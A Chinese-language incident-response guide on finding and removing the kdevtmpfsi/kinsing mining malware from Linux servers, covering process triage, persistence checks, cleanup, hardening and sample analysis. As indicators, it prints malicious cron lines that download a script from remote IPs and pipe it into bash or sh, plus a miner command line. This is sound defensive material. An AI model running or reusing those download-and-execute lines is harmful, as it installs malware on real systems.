1. 项目概述:当服务器CPU突然“发高烧”
如果你是一名运维工程师或者自己管理着几台Linux服务器,那么“CPU使用率100%”这个警报,绝对能让你心头一紧。这感觉就像半夜接到电话说家里的水管爆了——你必须立刻、马上、毫不犹豫地去处理。CPU飙高,轻则导致应用响应缓慢,用户体验暴跌;重则可能耗尽系统资源,引发服务雪崩,甚至数据丢失。
最近几年,一个让无数运维人头疼的“不速之客”频繁出现,它就是kdevtmpfsi。这可不是什么正经的系统进程,而是一个臭名昭著的挖矿病毒。它的目标很明确:悄无声息地潜入你的服务器,然后疯狂消耗CPU和GPU资源,为攻击者“挖矿”(通常是门罗币等加密货币)牟利。你的服务器,就这样成了别人免费的“矿机”,电费你出,算力别人拿。
更棘手的是,kdevtmpfsi病毒往往不是单打独斗。它通常与一个叫kinsing的守护进程成对出现,kinsing负责保护kdevtmpfsi,防止它被杀死,并且会尝试清除竞争对手(其他挖矿病毒)和某些安全工具。它们还具备自我更新、横向移动(感染内网其他机器)、清除日志等能力,俨然一个完整的“黑产军团”。
所以,当你发现服务器CPU异常飙高,用top或htop命令看到一个陌生的kdevtmpfsi进程独占鳌头时,别慌。这篇文章就是为你准备的实战手册。我将手把手带你走完从“发现异常”到“彻底清除”的全过程,并深入分析其运作原理,最后还会提供关键的病毒样本供你分析研究。我们的目标不仅是“杀掉”进程,更是要“斩草除根”,找到入侵根源,加固系统,防止再次感染。
2. 核心思路:从症状到根源的立体排查
处理安全事件,最忌讳的就是头痛医头、脚痛医脚。看到一个高CPU进程就直接kill -9,往往治标不治本,病毒很快又会卷土重来。一个专业的排查思路应该是立体化的,遵循“观察现象 -> 定位进程 -> 分析关联 -> 清除残留 -> 溯源加固”的流程。
2.1 为什么是立体排查?
因为现代恶意软件,尤其是挖矿病毒,已经进化得非常“狡猾”。它们通常会采用以下一种或多种手段来隐藏和维持自身:
- 进程伪装:使用
kdevtmpfsi、kinsing这类看起来像内核线程或系统进程的名字。 - 守护与互保:主进程 (
kdevtmpfsi) 负责挖矿计算,守护进程 (kinsing) 负责监控主进程状态,一旦主进程被终止,守护进程会立即将其重启。 - 文件隐藏:将病毒本体放在
/tmp、/dev/shm等临时目录,或者使用隐藏属性、奇怪的文件名。 - 定时任务持久化:在
crontab中写入定时任务,定期从远程服务器下载病毒脚本或重启病毒进程,确保服务器重启后病毒依然能复活。 - SSH密钥后门:在
~/.ssh/authorized_keys文件中添加攻击者的公钥,方便其随时免密登录。 - 清除竞争对手与防御:会尝试停止其他挖矿进程、阿里云/腾讯云等云厂商的安全监控进程,甚至卸载安全软件。
因此,我们的排查必须像侦探破案一样,不放过任何蛛丝马迹。核心思路可以概括为以下四步:
- 精准定位:快速找到消耗资源的元凶进程及其相关文件。
- 关联挖掘:顺藤摸瓜,找出与该进程相关的所有守护进程、定时任务、网络连接、启动项等。
- 彻底清除:在断开网络的前提下,一次性清理所有病毒文件、进程、定时任务和启动项。
- 漏洞溯源:分析系统日志、检查可疑用户和授权,找到病毒入侵的突破口并修复。
2.2 工具准备与操作原则
在开始动手前,有几点原则必须牢记:
- 原则一:先取证,后清理。在杀死进程前,尽量先收集信息(如进程PID、文件路径、网络连接等),这有助于后续分析和溯源。
- 原则二:断网操作。如果条件允许,最好将受感染服务器进行网络隔离(拔掉网线或配置安全组拒绝所有外联),防止病毒在清除过程中与C2服务器通信或感染内网其他机器。
- 原则三:使用绝对路径。系统命令可能被病毒替换或通过
LD_PRELOAD劫持。尽量使用/bin/ps、/usr/bin/top这样的绝对路径来执行命令,或者使用busybox这类静态编译的工具。 - 原则四:备份关键信息。清理前,备份
/etc/crontab、/var/spool/cron/、~/.ssh/authorized_keys等可能被篡改的文件,以便对比和审计。
接下来,我们就进入实战环节。
3. 实战排查:定位病毒与关联分析
假设你现在登录到一台CPU使用率异常的Linux服务器(以CentOS 7为例),我们开始一步步排查。
3.1 第一步:快速定位高CPU进程
首先,使用top命令查看系统整体资源使用情况和进程列表。按Shift + P可以按CPU使用率排序。
top -c在输出中,你可能会看到类似下面的行:
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 12345 root 20 0 123456 78900 1234 R 99.6 0.9 100:30.67 /tmp/kdevtmpfsi --donate-level 1 -o pool.minexmr.com:4444 -u 4Asd...Fgh -p x --cpu-max-threads-hint 50关键信息解读:
PID 12345:病毒进程的ID。USER root:进程以root权限运行,危害极大。%CPU 99.6:几乎吃满了一个核心。COMMAND /tmp/kdevtmpfsi ...:这是进程的完整命令行。清晰显示了病毒文件路径在/tmp下,并且连接到了矿池pool.minexmr.com:4444,后面是钱包地址和参数。
注意:有些变种会隐藏命令行,
top中只显示kdevtmpfsi。这时需要借助其他命令查看完整路径。
除了top,htop(如果已安装)界面更友好。也可以用ps命令精确定位:
ps aux | grep -i kdevtmpfsi ps aux | grep -i kinsing3.2 第二步:深入分析进程详情
获取到PID(例如12345)后,我们可以深入查看这个进程的更多细节。
查看进程打开的文件:
ls -la /proc/12345/exe这会显示进程执行文件的真实路径。有时/tmp/kdevtmpfsi可能是一个软链接,这个命令可以找到实际位置。
ls -la /proc/12345/cwd查看进程的当前工作目录。
查看进程的网络连接: 挖矿进程必须连接矿池。使用netstat或ss命令查看。
netstat -antp | grep 12345 # 或 ss -antp | grep 12345你可能会看到它正在连接一个外部IP的4444端口(或其他高端口)。记下这个远程IP和端口,虽然通常是公共矿池,但也可以作为威胁情报的一部分。
3.3 第三步:挖掘关联进程与守护者
单纯的kdevtmpfsi进程很容易被杀死。难点在于它的“保镖”——kinsing。我们需要找到并一并处理。
查找kinsing进程:
ps aux | grep -i kinsing查找可能的父进程或子进程:
pstree -p 12345 # 查看进程树,看谁启动了kdevtmpfsi ps -ef --forest | grep -A5 -B5 kdevtmpfsi # 查看上下文进程很多时候,kinsing是kdevtmpfsi的父进程,或者两者是兄弟进程,由另一个脚本(如/tmp/kinsing或/var/tmp/kinsing)创建。
检查系统负载和所有可疑进程:
# 查看所有非root用户运行的进程(挖矿病毒有时会用普通用户运行) ps aux | grep -v root # 查看占用CPU前10的进程 ps aux --sort=-%cpu | head -103.4 第四步:检查持久化机制(关键!)
这是清除病毒是否彻底的关键。病毒为了在重启后复活,一定会设置持久化。
1. 检查系统定时任务Cron:
# 检查系统级定时任务 cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ etc. # 检查所有用户的cron任务(重点!) for user in $(cut -f1 -d: /etc/passwd); do echo "=== Crontab for $user ==="; crontab -l -u $user 2>/dev/null; done重点关注:在cron任务里寻找包含curl、wget、bash下载并执行sh脚本的命令行,其URL通常是http://ip:port/kinsing或类似地址。例如:
*/10 * * * * curl -s http://185.243.112.123/kinsing | bash -s */15 * * * * wget -q -O- http://45.9.148.35/chimaera.sh | sh2. 检查系统服务 (Systemd/SysVinit):
# Systemd 系统 systemctl list-unit-files --type=service | grep enabled systemctl list-units --type=service --state=running # 查找名称奇怪的服务 systemctl list-unit-files | grep -E '(kinsing|kdevtmpfsi|\.service)' ls -la /etc/systemd/system/ /usr/lib/systemd/system/ | grep -iE '(kins|kdev)' # SysVinit 系统 chkconfig --list ls -la /etc/init.d/3. 检查开机启动项:
# 检查rc.local cat /etc/rc.local # 检查profile和bashrc(针对所有用户或特定用户) cat /etc/profile cat /etc/bashrc cat ~/.bashrc cat ~/.bash_profile4. 检查SSH授权密钥(后门):
# 检查root用户 cat /root/.ssh/authorized_keys # 检查其他有登录权限的用户 find /home -name authorized_keys -type f 2>/dev/null cat /home/*/.ssh/authorized_keys 2>/dev/null仔细核对里面的公钥,是否混入了你不认识的密钥。
3.5 第五步:定位病毒文件
通过进程信息我们已经知道一个路径(如/tmp/kdevtmpfsi),但病毒文件可能不止一个。
根据进程PID查找:
# 列出该进程打开的所有文件 ls -la /proc/12345/fd/ # 使用lsof命令 lsof -p 12345在常见临时目录搜索:
find /tmp -name "*kdevtmpfsi*" -o -name "*kinsing*" 2>/dev/null find /var/tmp -name "*kdevtmpfsi*" -o -name "*kinsing*" 2>/dev/null find /dev/shm -name "*kdevtmpfsi*" -o -name "*kinsing*" 2>/dev/null全盘搜索(耗时,可在断网后做):
find / -type f \( -name "*kdevtmpfsi*" -o -name "*kinsing*" \) 2>/dev/null | grep -v /proc | grep -v /sys4. 彻底清除:斩草除根操作指南
在完成所有信息收集后,我们就可以开始清理了。务必按照以下顺序操作,并建议先在测试环境模拟或对关键文件进行备份。
4.1 第一步:断开网络连接(可选但推荐)
防止清除过程中病毒下载新变种或感染其他机器。
# 方法1:使用iptables丢弃所有出站流量(谨慎!) iptables -P OUTPUT DROP # 清除完成后记得恢复 # iptables -P OUTPUT ACCEPT # 方法2(更安全):在云控制台修改安全组,只允许你自己的IP SSH连接。4.2 第二步:停止并杀死病毒进程
先杀守护进程 (kinsing),再杀主进程 (kdevtmpfsi)。
# 找到所有相关PID ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep | awk ‘{print $2}‘ # 假设找到的PID是 12345 (kdevtmpfsi) 和 11111 (kinsing) kill -9 11111 12345 # 再次确认进程是否被杀死 ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep如果进程反复出现,说明有守护机制或定时任务在快速重启它。这时需要进入下一步,先清理持久化项。
4.3 第三步:清理持久化项目(最关键的一步)
1. 清理Crontab定时任务:
# 编辑root的crontab crontab -e -u root # 在打开的编辑器中,删除所有可疑的行(例如包含curl/wget到奇怪URL的行),保存退出。 # 或者直接清空(如果确认只有病毒任务) crontab -r -u root # 检查并清理系统cron目录 rm -f /etc/cron.d/*kinsing* /etc/cron.d/*kdevtmpfsi* 2>/dev/null rm -f /etc/cron.hourly/*kinsing* /etc/cron.hourly/*kdevtmpfsi* 2>/dev/null # ... 检查其他cron.*目录重要:一定要检查所有用户的crontab,而不仅仅是root。使用前面提到的for user in $(cut -f1 -d: /etc/passwd); do crontab -l -u $user 2>/dev/null; done命令查看并逐一清理。
2. 清理Systemd服务(如果存在):
# 停止并禁用服务 systemctl stop kinsing_service_name 2>/dev/null systemctl disable kinsing_service_name 2>/dev/null # 删除服务文件 rm -f /etc/systemd/system/kinsing.service /usr/lib/systemd/system/kinsing.service 2>/dev/null # 重载systemd配置 systemctl daemon-reload3. 清理其他启动项:
# 检查并清理rc.local sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/rc.local # 检查并清理profile等 sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/profile sed -i ‘/kinsing\|kdevtmpfsi/d’ /etc/bashrc # 检查所有用户的.bashrc等 find /home -name “.bashrc” -o -name “.bash_profile” -o -name “.profile” | xargs sed -i ‘/kinsing\|kdevtmpfsi/d’ 2>/dev/null4. 清理SSH授权密钥后门:
# 备份原文件 cp /root/.ssh/authorized_keys /root/.ssh/authorized_keys.bak # 编辑文件,只保留你认识的公钥 vim /root/.ssh/authorized_keys # 同样检查/home目录下的用户4.4 第四步:删除病毒文件
现在可以安全地删除病毒本体了。
# 删除我们之前找到的文件 rm -f /tmp/kdevtmpfsi /tmp/kinsing rm -f /var/tmp/kdevtmpfsi /var/tmp/kinsing rm -f /dev/shm/kdevtmpfsi /dev/shm/kinsing # 使用find命令再次全盘搜索并删除(谨慎操作!) find / -type f \( -name “*kdevtmpfsi*” -o -name “*kinsing*” \) 2>/dev/null | grep -v /proc | xargs rm -f 2>/dev/null警告:
find ... | xargs rm -f命令威力巨大,务必先不加xargs rm -f,只用find查看确认要删除的文件列表,无误后再执行删除。
4.5 第五步:检查并清理可能存在的其他恶意文件
病毒可能会下载或生成其他工具,如扫描器、爆破工具等。
# 检查最近被修改的可执行文件 find / -type f -perm /111 -mtime -7 2>/dev/null | grep -v /proc | grep -v /sys # 检查/tmp、/var/tmp目录下所有文件 ls -la /tmp/ /var/tmp/ # 检查是否有可疑的隐藏文件(以.开头的文件) ls -la /tmp/.* /var/tmp/.* 2>/dev/null4.6 第六步:恢复网络并验证
完成所有清理后,恢复网络连接。
iptables -P OUTPUT ACCEPT然后,监控系统状态,确认CPU使用率已恢复正常。
top -c htop等待几分钟,再次检查相关进程是否复现。
ps aux | grep -E ‘(kdevtmpfsi|kinsing)’ | grep -v grep如果一切正常,恭喜你,病毒已被暂时清除。
5. 入侵溯源与系统加固
清除病毒只是第一步,如果不找到漏洞根源并加固,服务器很可能再次被入侵。攻击者常用的入口点包括:
5.1 常见入侵途径分析
- 弱口令爆破:尤其是Redis、MySQL、SSH、Tomcat等服务的弱密码或空密码。
- 未授权访问漏洞:如Redis未绑定IP或未设置密码,暴露在公网,导致攻击者可直接写入计划任务。
- 软件漏洞:如Web应用框架(ThinkPHP, Spring)、组件(Fastjson, Log4j2)的远程代码执行漏洞。
- 供应链攻击:使用了被植入后门的第三方软件或镜像。
5.2 溯源检查点
1. 检查系统日志:
# 查看认证日志,看是否有大量失败的SSH登录尝试 grep “Failed password” /var/log/secure | head -20 grep “Accepted password” /var/log/secure | tail -20 # 查看成功登录记录 # 查看最近有哪些用户登录过 last # 查看命令历史(但高级攻击者会清空) history2. 检查可疑用户和权限:
# 检查/etc/passwd,看是否有新增的陌生用户 cat /etc/passwd # 检查具有sudo权限的用户 cat /etc/sudoers ls -la /etc/sudoers.d/ # 检查UID为0的用户(除了root) awk -F: ‘$3==0 {print $1}’ /etc/passwd3. 检查网络连接历史:
# 查看历史网络连接(如果有安装sysstat) sar -n DEV 1 1 # 或者查看历史连接(可能被清除) netstat -antp 2>/dev/null | grep ESTABLISHED4. 重点检查Redis、Docker等:
- Redis:检查是否监听在0.0.0.0,是否设置了密码,
config get dir和config get dbfilename是否被修改。 - Docker:检查是否有未授权的2375端口暴露,或者运行了来源不明的镜像。
5.3 系统加固建议
- 修改所有弱密码:为所有系统用户、数据库、中间件设置高强度密码。
- 禁用SSH密码登录,改用密钥对:
# 编辑 /etc/ssh/sshd_config PasswordAuthentication no PubkeyAuthentication yes - 配置防火墙:仅开放必要的端口,对公网屏蔽Redis(6379)、Docker API(2375)等高危端口。
- 及时更新系统和软件:
yum update或apt update && apt upgrade。 - 使用最小权限原则:应用程序不要以root身份运行。
- 部署入侵检测与监控:如配置
fail2ban防爆破,使用auditd监控关键文件变化,部署云主机安全Agent。 - 定期审计与备份:定期检查计划任务、系统服务、启动项,并做好重要数据备份。
6. 病毒样本分析与技术原理(附样本下载)
为了更深入地理解对手,安全研究人员或运维人员可以分析病毒样本。请注意,分析样本务必在隔离的虚拟机或沙箱环境中进行,切勿在生产环境或联网的主机上运行!
6.1 样本获取与初步分析
kdevtmpfsi和kinsing的样本在威胁情报社区已有大量共享。你可以从VirusTotal等平台搜索相关哈希值下载,或者从你的受感染服务器上获取(在删除前复制一份到隔离环境)。
样本特征:
- kdevtmpfsi:通常是ELF可执行文件,可能是32位或64位,经过UPX等工具加壳。其核心功能是XMRig等开源矿工的变种,连接指定的矿池进行门罗币挖矿。
- kinsing:同样是一个ELF可执行文件,功能更复杂。它可能是一个Go语言编译的程序,负责:
- 守护
kdevtmpfsi进程。 - 从C2服务器下载更新。
- 扫描并杀死其他挖矿进程(如
xmrig、systemd等)。 - 尝试卸载阿里云盾(AliYunDun)、腾讯云镜等安全软件。
- 清除系统日志 (
/var/log/secure,/var/log/messages等)。 - 通过SSH密钥、Docker API、Redis未授权访问等方式横向传播。
- 守护
6.2 使用基础工具进行静态分析
在隔离环境中,可以使用以下命令进行初步分析:
# 1. 查看文件类型和基本信息 file kinsing # 输出可能为:kinsing: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped # 2. 查看字符串信息,寻找线索(如C2地址、命令) strings kinsing | head -100 strings kinsing | grep -E ‘(http|curl|wget|bash|sh|chmod|chattr|iptables|ssh|redis)’ # 3. 检查文件哈希值(用于威胁情报比对) md5sum kinsing sha256sum kinsing # 4. 查看文件权限和属性 ls -la kinsing通过strings命令,你可能会发现内嵌的脚本、URL、IP地址等,这些是分析其行为的关键。
6.3 动态行为分析(沙箱运行)
在完全隔离的网络环境(如断网的虚拟机)中,可以运行样本并观察其行为。
# 使用strace跟踪系统调用 strace -f -o virus.log ./kinsing # 使用top/htop观察进程创建 # 使用网络抓包工具tcpdump观察外联 tcpdump -i any -w traffic.pcap分析生成的virus.log和traffic.pcap文件,可以看到它创建了哪些文件、进程,连接了哪些IP和端口。
重要声明:本文提供分析思路仅供安全研究与学习之用。任何个人或组织不得将病毒样本用于非法攻击活动。传播、使用恶意软件是违法行为。
6.4 样本下载(仅供研究)
由于直接提供恶意软件下载链接存在法律和道德风险,我强烈建议你通过以下合法途径获取样本进行研究:
- 恶意软件分析平台:在VirusTotal或MalwareBazaar等网站,搜索哈希值(如
kdevtmpfsi、kinsing的MD5/SHA256)即可找到样本并下载。这些平台提供了安全的下载和分析环境。 - 威胁情报报告:关注如奇安信、绿盟、微步在线等安全厂商发布的威胁情报报告,报告中常会附有样本的哈希值。
- 学术研究数据库:如TheZoo项目,在遵守其使用协议的前提下,可用于恶意软件研究。
研究环境务必是物理隔离的虚拟机,且所有网络适配器处于“仅主机”或“无网络连接”状态。
7. 常见问题与排查技巧实录
在实际排查和清除过程中,你可能会遇到一些“诡异”的情况。下面是我和同事们踩过的一些坑和总结的技巧。
7.1 问题一:进程杀不死,或者杀死后瞬间复活
现象:使用kill -9 PID后,ps aux立刻又能看到同名进程,PID变了。
原因:这是典型的守护进程在起作用。kinsing监控着kdevtmpfsi,一旦发现它没了,立刻从内存或磁盘重新拉起一个。或者,有一个更隐蔽的定时任务,每分钟甚至每秒钟都在检查并启动病毒。
解决方案:
- 先杀守护进程:用
pstree或ps -ef --forest找到可能的父进程(守护进程),先kill -9它。 - 立即清理定时任务:在杀死进程的同时或之前,另一个终端窗口立刻编辑crontab并删除可疑任务。因为cron每分钟才检查一次,你有时间窗口。
- 使用
chattr +i锁住crontab(临时):在清理前,可以先锁住crontab文件防止被修改,但注意这也会阻止你正常编辑。chattr +i /etc/crontab chattr +i /var/spool/cron/root # 清理完成后解锁 chattr -i /etc/crontab chattr -i /var/spool/cron/root - 使用
systemctl stop cron(激进):临时停止cron服务,但会影响其他正常定时任务。
7.2 问题二:命令被替换或劫持
现象:执行ps、top、netstat等命令时,看不到病毒进程或网络连接。
原因:病毒可能替换了系统的ps、top、netstat、ls等命令,或者通过LD_PRELOAD环境变量劫持了这些命令的库函数,使其过滤掉病毒相关信息。
解决方案:
- 使用绝对路径:
/bin/ps aux - 使用busybox:这是一个静态编译的工具集,通常不受动态库劫持影响。如果系统没有,可以从其他干净机器拷贝一个。
busybox ps aux busybox netstat -antp - 检查命令哈希和路径:
which ps ls -la /usr/bin/ps md5sum /usr/bin/ps # 与干净系统对比 - 检查LD_PRELOAD环境变量:
echo $LD_PRELOAD env | grep LD # 如果发现可疑的.so文件,在清理时一并删除,并清空该环境变量(临时)或从启动脚本中清除。
7.3 问题三:文件删除后又出现
现象:删除了/tmp/kdevtmpfsi文件,但过一会儿又出现了。
原因:有守护进程或脚本在定期从网络下载,或者从内存中释放并写入文件。也可能病毒文件有多个副本。
解决方案:
- 断网操作:这是最有效的一步,切断下载源。
- 使用
lsof | grep deleted:查看是否还有进程持有已删除文件的句柄。如果有,先杀死那个进程,文件才会真正释放。 - 查找所有副本:用
find命令在全盘(除了/proc,/sys)搜索所有相关文件名。 - 检查内存文件系统:如
/dev/shm,这里面的文件重启后消失,但运行时可能存在。
7.4 问题四:CPU使用率仍然间歇性很高,但找不到明显进程
现象:top显示总的CPU使用率很高,但看每个进程的占用都不高,总和对不上。
原因:可能是短时进程(挖矿脚本可能fork后很快退出),或者内核模块挖矿(更高级)。
解决方案:
- 使用
top的批处理模式:top -b -n 1输出快照,或者用htop查看。 - 使用
ps查看所有进程瞬时状态:ps auxf或ps -eo pid,ppid,cmd,%cpu,%mem --sort=-%cpu - 使用
perf或systemtap进行性能剖析(高级):perf top - 检查系统调用:使用
sar -u 1 3查看CPU在各状态(user, system, iowait, idle)的分布。 - 怀疑内核模块:使用
lsmod查看已加载模块,检查是否有可疑模块。但这需要较高的专业知识。
7.5 预防性检查脚本
你可以编写一个简单的定期检查脚本,放到crontab中每天运行,将结果发送到邮箱。
#!/bin/bash # check_miner.sh LOG_FILE=“/var/log/miner_check.log” echo “=== Miner Check Report at $(date) ===” >> $LOG_FILE # 1. 检查可疑进程 echo “— Suspicious Processes —” >> $LOG_FILE ps aux | grep -E ‘(kdevtmpfsi|kinsing|xmrig|minerd)’ | grep -v grep >> $LOG_FILE # 2. 检查可疑网络连接(矿池常用端口:3333, 4444, 5555, 6666, 7777, 8888, 9999, 14444) echo “— Suspicious Network Connections —” >> $LOG_FILE netstat -antp | grep -E ‘:(3333|4444|5555|6666|7777|8888|9999|14444)’ >> $LOG_FILE # 3. 检查root的crontab echo “— Root Crontab —” >> $LOG_FILE crontab -l -u root 2>/dev/null | grep -v “^#” >> $LOG_FILE # 4. 检查系统负载 echo “— System Load —” >> $LOG_FILE uptime >> $LOG_FILE # 发送邮件(需要配置好mailx或sendmail) # mail -s “Miner Check Report” your-email@example.com < $LOG_FILE将这个脚本设为只读并放在安全位置,定期检查日志即可。
处理kdevtmpfsi这类挖矿病毒,是一场与攻击者斗智斗勇的过程。它考验的不仅是技术命令的熟练度,更是系统性的安全思维和排查逻辑。记住核心口诀:先断网,再取证;先杀守护,再清持久;先治标,后治本(溯源加固)。保持系统的更新,遵循最小权限原则,配置好防火墙和监控,才能让你的服务器在充满威胁的网络中屹立不倒。